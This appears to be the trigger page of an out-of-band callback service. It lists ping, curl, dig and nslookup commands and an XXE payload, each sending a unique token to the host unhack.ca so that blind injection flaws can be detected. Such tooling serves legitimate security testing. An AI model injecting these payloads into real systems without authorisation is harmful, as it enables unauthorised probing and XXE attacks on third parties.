$ ping -c1 -p 005a47969222483e58cce3d59ac4c200 unhack.ca
 

$ curl http://unhack.ca/p/5a47969222483e58cce3d59ac4c2
 

$ dig 5a47969222483e58cce3d59ac4c2 @unhack.ca
 

$ dig 5a47969222483e58cce3d59ac4c2.ns.unhack.ca
 

C:\> nslookup 5a47969222483e58cce3d59ac4c2 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5a47969222483e58cce3d59ac4c2">]>
    <foo>&xxe;</foo>